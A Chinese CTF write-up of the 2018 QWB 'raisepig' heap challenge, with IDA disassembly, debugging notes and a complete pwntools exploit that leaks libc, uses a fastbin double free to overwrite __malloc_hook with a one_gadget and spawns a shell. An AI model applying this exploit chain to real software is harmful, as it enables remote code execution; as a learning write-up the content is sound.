zoukankan      html  css  js  c++  java
  • 2018 强网杯raisepig解题过程

    这是一个UAF+double free的题啊,题目比较简单。

    首先看一下这个文件:

    这是一个64位的程序,动态链接的。

    运行下看看:

      

       

      

     

     

    再来用ida看一下这个程序代码(有些地方我有重新标记):

    看一下list:

     然后看下每一个流程是怎么执行的吧,发现无法解析伪c代码,那就看汇编结合动调吧。

      

    .text:0000000000000B90 list            proc near               ; CODE XREF: main+30p
    .text:0000000000000B90
    .text:0000000000000B90 var_8           = qword ptr -8
    .text:0000000000000B90
    .text:0000000000000B90                 push    rbp
    .text:0000000000000B91                 mov     rbp, rsp
    .text:0000000000000B94                 sub     rsp, 10h
    .text:0000000000000B98                 mov     rax, fs:28h
    .text:0000000000000BA1                 mov     [rbp+var_8], rax
    .text:0000000000000BA5                 xor     eax, eax
    .text:0000000000000BA7                 lea     rdi, s          ; s
    .text:0000000000000BAE                 call    puts
    .text:0000000000000BB3                 lea     rdi, asc_1355   ; "            ,-,------, "
    .text:0000000000000BBA                 call    puts
    .text:0000000000000BBF                 lea     rdi, a__        ; "          _ \(\(_,--'  "
    .text:0000000000000BC6                 call    puts
    .text:0000000000000BCB                 lea     rdi, a___0      ; "     <`--'\>/(/(__     "
    .text:0000000000000BD2                 call    puts
    .text:0000000000000BD7                 lea     rdi, a___1      ; "     /. .  `'` '  \    "
    .text:0000000000000BDE                 call    puts
    .text:0000000000000BE3                 lea     rdi, a@         ; "    ('')  ,        @   "
    .text:0000000000000BEA                 call    puts
    .text:0000000000000BEF                 lea     rdi, a___2      ; "     `-._,        /    "
    .text:0000000000000BF6                 call    puts
    .text:0000000000000BFB                 lea     rdi, a_         ; "        )-)_/--( >     "
    .text:0000000000000C02                 call    puts
    .text:0000000000000C07                 lea     rdi, asc_13FD   ; "       ''''  ''''      "
    .text:0000000000000C0E                 call    puts
    .text:0000000000000C13                 lea     rdi, s          ; s
    .text:0000000000000C1A                 call    puts
    .text:0000000000000C1F                 lea     rdi, a1_RaiseAPig ; "1 . Raise a pig "
    .text:0000000000000C26                 call    puts
    .text:0000000000000C2B                 lea     rdi, a2_VisitPigs ; "2 . Visit pigs "
    .text:0000000000000C32                 call    puts
    .text:0000000000000C37                 lea     rdi, a3_EatAPig ; "3 . Eat a pig"
    .text:0000000000000C3E                 call    puts
    .text:0000000000000C43                 lea     rdi, a4_EatTheWholeP ; "4 . Eat the whole Pig Farm"
    .text:0000000000000C4A                 call    puts
    .text:0000000000000C4F                 lea     rdi, a5_LeaveTheFarm ; "5 . Leave the Farm"
    .text:0000000000000C56                 call    puts
    .text:0000000000000C5B                 lea     rdi, s          ; s
    .text:0000000000000C62                 call    puts
    .text:0000000000000C67                 lea     rdi, format     ; "Your choice : "
    .text:0000000000000C6E                 mov     eax, 0
    .text:0000000000000C73                 call    printf
    .text:0000000000000C78                 nop
    .text:0000000000000C79                 mov     rax, [rbp+var_8]
    .text:0000000000000C7D                 xor     rax, fs:28h
    .text:0000000000000C86                 jz      short locret_C8D
    .text:0000000000000C88                 call    __stack_chk_fail
    .text:0000000000000C8D ; ---------------------------------------------------------------------------
    .text:0000000000000C8D
    .text:0000000000000C8D locret_C8D:                             ; CODE XREF: list+F6j
    .text:0000000000000C8D                 leave
    .text:0000000000000C8E                 retn
    .text:0000000000000C8E list            endp
    .text:0000000000000C8E
    .text:0000000000000C8F
    .text:0000000000000C8F ; =============== S U B R O U T I N E =======================================
    .text:0000000000000C8F
    .text:0000000000000C8F ; Attributes: bp-based frame
    .text:0000000000000C8F
    .text:0000000000000C8F sub_C8F         proc near               ; CODE XREF: main+89p
    .text:0000000000000C8F
    .text:0000000000000C8F size            = qword ptr -20h
    .text:0000000000000C8F s               = qword ptr -18h
    .text:0000000000000C8F buf             = qword ptr -10h
    .text:0000000000000C8F var_8           = qword ptr -8
    .text:0000000000000C8F
    .text:0000000000000C8F                 push    rbp
    .text:0000000000000C90                 mov     rbp, rsp
    .text:0000000000000C93                 sub     rsp, 20h
    .text:0000000000000C97                 mov     rax, fs:28h
    .text:0000000000000CA0                 mov     [rbp+var_8], rax
    .text:0000000000000CA4                 xor     eax, eax
    .text:0000000000000CA6                 push    rax
    .text:0000000000000CA7                 xor     eax, eax
    .text:0000000000000CA9                 jz      short loc_CAF
    .text:0000000000000CAB                 add     rsp, 4
    .text:0000000000000CAF
    .text:0000000000000CAF loc_CAF:                                ; CODE XREF: sub_C8F+1Aj
    .text:0000000000000CAF                 pop     rax
    .text:0000000000000CB0                 mov     [rbp+s], 0
    .text:0000000000000CB8                 mov     [rbp+buf], 0
    .text:0000000000000CC0                 mov     dword ptr [rbp+size], 0
    .text:0000000000000CC7                 mov     eax, cs:dword_20202C
    .text:0000000000000CCD                 cmp     eax, 63h
    .text:0000000000000CD0                 ja      loc_E23
    .text:0000000000000CD6                 mov     edi, 28h        ; size
    .text:0000000000000CDB                 call    malloc                           //申请一个堆
    .text:0000000000000CE0                 mov     [rbp+s], rax
    .text:0000000000000CE4                 mov     rax, [rbp+s]
    .text:0000000000000CE8                 mov     edx, 28h        ; n
    .text:0000000000000CED                 mov     esi, 0          ; c
    .text:0000000000000CF2                 mov     rdi, rax        ; s
    .text:0000000000000CF5                 call    memset
    .text:0000000000000CFA                 lea     rdi, aLengthOfTheNam ; "Length of the name :"   //这里是我们输入的raise的length
    .text:0000000000000D01                 mov     eax, 0
    .text:0000000000000D06                 call    printf
    .text:0000000000000D0B                 lea     rax, [rbp+size]
    .text:0000000000000D0F                 mov     rsi, rax
    .text:0000000000000D12                 lea     rdi, aU         ; "%u"
    .text:0000000000000D19                 mov     eax, 0
    .text:0000000000000D1E                 call    __isoc99_scanf
    .text:0000000000000D23                 cmp     eax, 0FFFFFFFFh
    .text:0000000000000D26                 jnz     short loc_D32
    .text:0000000000000D28                 mov     edi, 0FFFFFFFFh ; status
    .text:0000000000000D2D                 call    exit
    .text:0000000000000D32 ; ---------------------------------------------------------------------------
    .text:0000000000000D32
    .text:0000000000000D32 loc_D32:                                ; CODE XREF: sub_C8F+97j
    .text:0000000000000D32                 mov     eax, dword ptr [rbp+size]
    .text:0000000000000D35                 mov     eax, eax
    .text:0000000000000D37                 mov     rdi, rax        ; size
    .text:0000000000000D3A                 call    malloc                                      //然后申请一个堆
    .text:0000000000000D3F                 mov     [rbp+buf], rax
    .text:0000000000000D43                 cmp     [rbp+buf], 0
    .text:0000000000000D48                 jnz     short loc_D60
    .text:0000000000000D4A                 lea     rdi, aError     ; "error !"
    .text:0000000000000D51                 call    puts
    .text:0000000000000D56                 mov     edi, 0FFFFFFFFh ; status
    .text:0000000000000D5B                 call    exit
    .text:0000000000000D60 ; ---------------------------------------------------------------------------
    .text:0000000000000D60
    .text:0000000000000D60 loc_D60:                                ; CODE XREF: sub_C8F+B9j
    .text:0000000000000D60                 lea     rdi, aTheNameOfPig ; "The name of pig :"
    .text:0000000000000D67                 mov     eax, 0
    .text:0000000000000D6C                 call    printf
    .text:0000000000000D71                 mov     eax, dword ptr [rbp+size]
    .text:0000000000000D74                 mov     edx, eax        ; nbytes
    .text:0000000000000D76                 mov     rax, [rbp+buf]
    .text:0000000000000D7A                 mov     rsi, rax        ; buf
    .text:0000000000000D7D                 mov     edi, 0          ; fd
    .text:0000000000000D82                 call    read
    .text:0000000000000D87                 mov     rax, [rbp+s]
    .text:0000000000000D8B                 mov     rdx, [rbp+buf]
    .text:0000000000000D8F                 mov     [rax+8], rdx
    .text:0000000000000D93                 lea     rdi, aTheTypeOfThePi ; "The type of the pig :"   //获取参数:type
    .text:0000000000000D9A                 mov     eax, 0
    .text:0000000000000D9F                 call    printf
    .text:0000000000000DA4                 mov     rax, [rbp+s]
    .text:0000000000000DA8                 add     rax, 10h
    .text:0000000000000DAC                 mov     rsi, rax
    .text:0000000000000DAF                 lea     rdi, a23s       ; "%23s"
    .text:0000000000000DB6                 mov     eax, 0
    .text:0000000000000DBB                 call    __isoc99_scanf
    .text:0000000000000DC0                 mov     rax, [rbp+s]
    .text:0000000000000DC4                 mov     dword ptr [rax], 1
    .text:0000000000000DCA                 mov     dword ptr [rbp+size+4], 0
    .text:0000000000000DD1                 jmp     short loc_E0E
    .text:0000000000000DD3 ; ---------------------------------------------------------------------------
    .text:0000000000000DD3

     

     看一下内存分配,可以看出来Name放在一个堆里,type放在了另外一个堆里:

    然后删除第一个堆,看下内存分配:

     

    可以发现之前的name的空间被free了,然后我们在申请一个内存,看看位置。

     

     

     也就是说free的空间是Name所在的空间。第0个空间就会释放AAAA空间,第1个就是释放BBBB空间。同理……

    下面就可以进行利用了,思路:

    1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。

    2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址

    3.double free 触发__malloc_hook执行,便会转换到执行我们的shell。

     开始利用了:

    1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。

    那么我们开始写脚本吧,首先构造输入函数和显示函数:

    #!usr/bin/env python
    #! coding = utf-8

    from pwn import*

    debug =1
    local =1

    if local:
        p =process('./raisepig')
    else:
        p =remote("127.0.0.1",8080)

    #context.log_level = 'debug'
    def add(leng,name,types):
        p.recvuntil('Your choice : ')
        p.sendline('1')
        p.recvuntil("Length of the name :")
        p.sendline(str(leng))
        p.recvuntil("The name of pig :")
        p.sendline(name)
        p.recvuntil("The type of the pig :")
        p.sendline(types)

    def visit():
        p.recvuntil('Your choice : ')
        p.sendline("2")

    def free(num):
        p.recvuntil('Your choice : ')
        p.sendline("3")
        p.recvuntil("Which pig do you want to eat:")
        p.sendline(str(num))



    #leak address
    add(0x80,"AAAA","aa")
    add(0x20,"BBBB","bb")
    #add(0x20,"CCCC","cc")
    free(0)

    add(0x50,'','dd')
    #add(0x60,'DDDD','dd')

    visit()

    p.recvuntil("Name[2] :")
    #data=p.recvline()
    data =u64(p.recv(6).ljust(8,'x00'))
    print"data=",hex(data)

    #libc = hex(data) + 0x3c4b0a

    #print "libc=",hex(libc)

    gdb.attach(p)

    p.interactive()

     

    #leak address
    成功泄露出了地址了:

     接下来我们来计算0x7fe7e68b3b0a <__realloc_hook+2>这个地址与libc基地址的偏移。见下图,可以看到libc的基地址是0x00007fe7e64ef000。那么偏移就是:

    偏移 = 0x7fe7e68b3b0a - 0x00007fe7e64ef000 =0x3c4b0a,那么相反啊,libc = 0x7fe7e68b3b0a - 0x3c4b0a。

       

    添加两行代码:

    libc = data - 0x3c4b0a
    
    print "libc=",hex(libc)

     运行下,看看效果,如下,看来泄露正确了。

     one_gadget获得的system"/bin/sh"的地址(如下),出现了四个偏移,用哪一个呢?很简单,试一试,哪个可以用就用哪个。我选择的是第三个偏移0xf02a4。即:

    one = libc + 0xf02a4
    ~/桌面/raisepig$ ldd raisepig
        linux-vdso.so.1 =>  (0x00007ffce27e0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffb3d639000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffb3dc06000)
    ~/桌面/raisepig$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
    0x45216    execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a    execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4    execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147    execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL

    2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址

    修改思路:通过double free来伪造fd,使fd指向malloc_hook前两个左右字节附近的地方(伪堆)(注意是附近哦,后面还会有size的安全检查),使申请的伪堆的data处为__malloc_hook函数的地址,这样修改data就修改了malloc_hook函数的内容了。

    首先咱们来申请两段空间,用来double free

    add(0x60,"CCCC","cccc")
    add(0x60,"DDDD","dddd")
    add(0x60,"EEEE","eeee")

     就用CCCC段空间和DDDD段的空间来做吧。EEEE空间是为了防止和largebin合并。

      构造double free,并伪造fd,

    add(0x60,"CCCC","cccc")
    add(0x60,"DDDD","dddd")
    add(0x60,"EEEE","eeee")
    #add(0x90,"FFFF","ffff")
    free(3)
    free(4)
    free(3)

      

      

     那么我们来构造fd吧(见下图)发现fd被我们修改成了__malloc_hook的地址了。

    __malloc_hook = libc + 0x3c4b10
    print "__malloc_hook=",hex(__malloc_hook)
    
    add(0x60,"CCCC","cccc")
    add(0x60,"DDDD","dddd")
    add(0x60,"EEEE","eeee")
    #add(0x90,"FFFF","ffff")
    free(3)
    free(4)
    free(3)
    
    #add(0x60,p64(__malloc_hook-0x13),"ffff")
    add(0x60,p64(__malloc_hook),"ffff")   #这里是我们填入的__malloc_hook的地址
    add(0x60,"GGGG","gggg")
    #add(0x60,"HHHH","hhhh")

    libc = data - 0x3c4b0a
    print "libc=",hex(libc)
    
    one = libc + 0xf02a4
    print "one=",hex(one)
    
    __malloc_hook = libc + 0x3c4b10
    print "__malloc_hook=",hex(__malloc_hook)
    print "__malloc_hook-0x13=",hex(__malloc_hook-0x13)
    
    add(0x60,"CCCC","cccc")
    add(0x60,"DDDD","dddd")
    add(0x60,"EEEE","eeee")
    #add(0x90,"FFFF","ffff")
    free(3)
    free(4)
    free(3)
    
    add(0x60,p64(__malloc_hook-0x13),"ffff")
    #add(0x60,p64(__malloc_hook),"ffff")
    add(0x60,"GGGG","gggg")
    add(0x60,"HHHH","hhhh")
    
    add(0x60,'x00x00x00'+p64(one),"iiii")

    哈哈,看到我们已经把__malloc_hook的地址修改为我们的one_gadget的地址了。下面就是触发了,动过触发double free然后触动__malloc_hook函数。

    free(0)
    free(0)

     

    发现利用成功了。

    完整exp:

    #!usr/bin/env python
    #! coding = utf-8

    from pwn import*

    debug =1
    local =1

    if local:
        p =process('./raisepig')
    else:
        p =remote("127.0.0.1",8080)

    #context.log_level = 'debug'
    def add(leng,name,types):
        p.recvuntil('Your choice : ')
        p.sendline('1')
        p.recvuntil("Length of the name :")
        p.sendline(str(leng))
        p.recvuntil("The name of pig :")
        p.sendline(name)
        p.recvuntil("The type of the pig :")
        p.sendline(types)

    def visit():
        p.recvuntil('Your choice : ')
        p.sendline("2")

    def free(num):
        p.recvuntil('Your choice : ')
        p.sendline("3")
        p.recvuntil("Which pig do you want to eat:")
        p.sendline(str(num))



    #leak address
    add(0x80,"AAAA","aa")
    add(0x20,"BBBB","bb")

    free(0)
    add(0x50,'','dd')

    visit()

    p.recvuntil("Name[2] :")
    #data=p.recvline()
    data =u64(p.recv(6).ljust(8,'x00'))
    print"data=",hex(data)

    libc = data - 0x3c4b0a
    print "libc=",hex(libc)

    one = libc + 0xf02a4
    print "one=",hex(one)

    __malloc_hook = libc + 0x3c4b10
    print "__malloc_hook=",hex(__malloc_hook)
    print "__malloc_hook-0x13=",hex(__malloc_hook-0x13)

    add(0x60,"CCCC","cccc")
    add(0x60,"DDDD","dddd")
    add(0x60,"EEEE","eeee")

    free(3)
    free(4)
    free(3)

    add(0x60,p64(__malloc_hook-0x13),"ffff") #保证检查size位为有效数据。
    #add(0x60,p64(__malloc_hook),"ffff")
    add(0x60,"GGGG","gggg")
    add(0x60,"HHHH","hhhh")

    add(0x60,'x00x00x00'+p64(one),"iiii")

    free(0)
    free(0)

    gdb.attach(p)

    p.interactive()

  • 相关阅读:
    git常用命令
    Mybatis文档收集
    RocketMQ安装及配置
    vs code 插件收集
    idea中RunDashboard显示
    Error running ‘JeecgSystemApplication‘: Command line is too long. Shorten command line for JeecgSys
    shell脚本 for循环实现文件和目录遍历
    linux一次性解压多个.gz或者.tar.gz文件
    CentOS7挂载磁盘,4T磁盘挂载方法
    windows 安装Nginx服务
  • 原文地址:https://www.cnblogs.com/Yable/p/8729033.html
Copyright © 2011-2022 走看看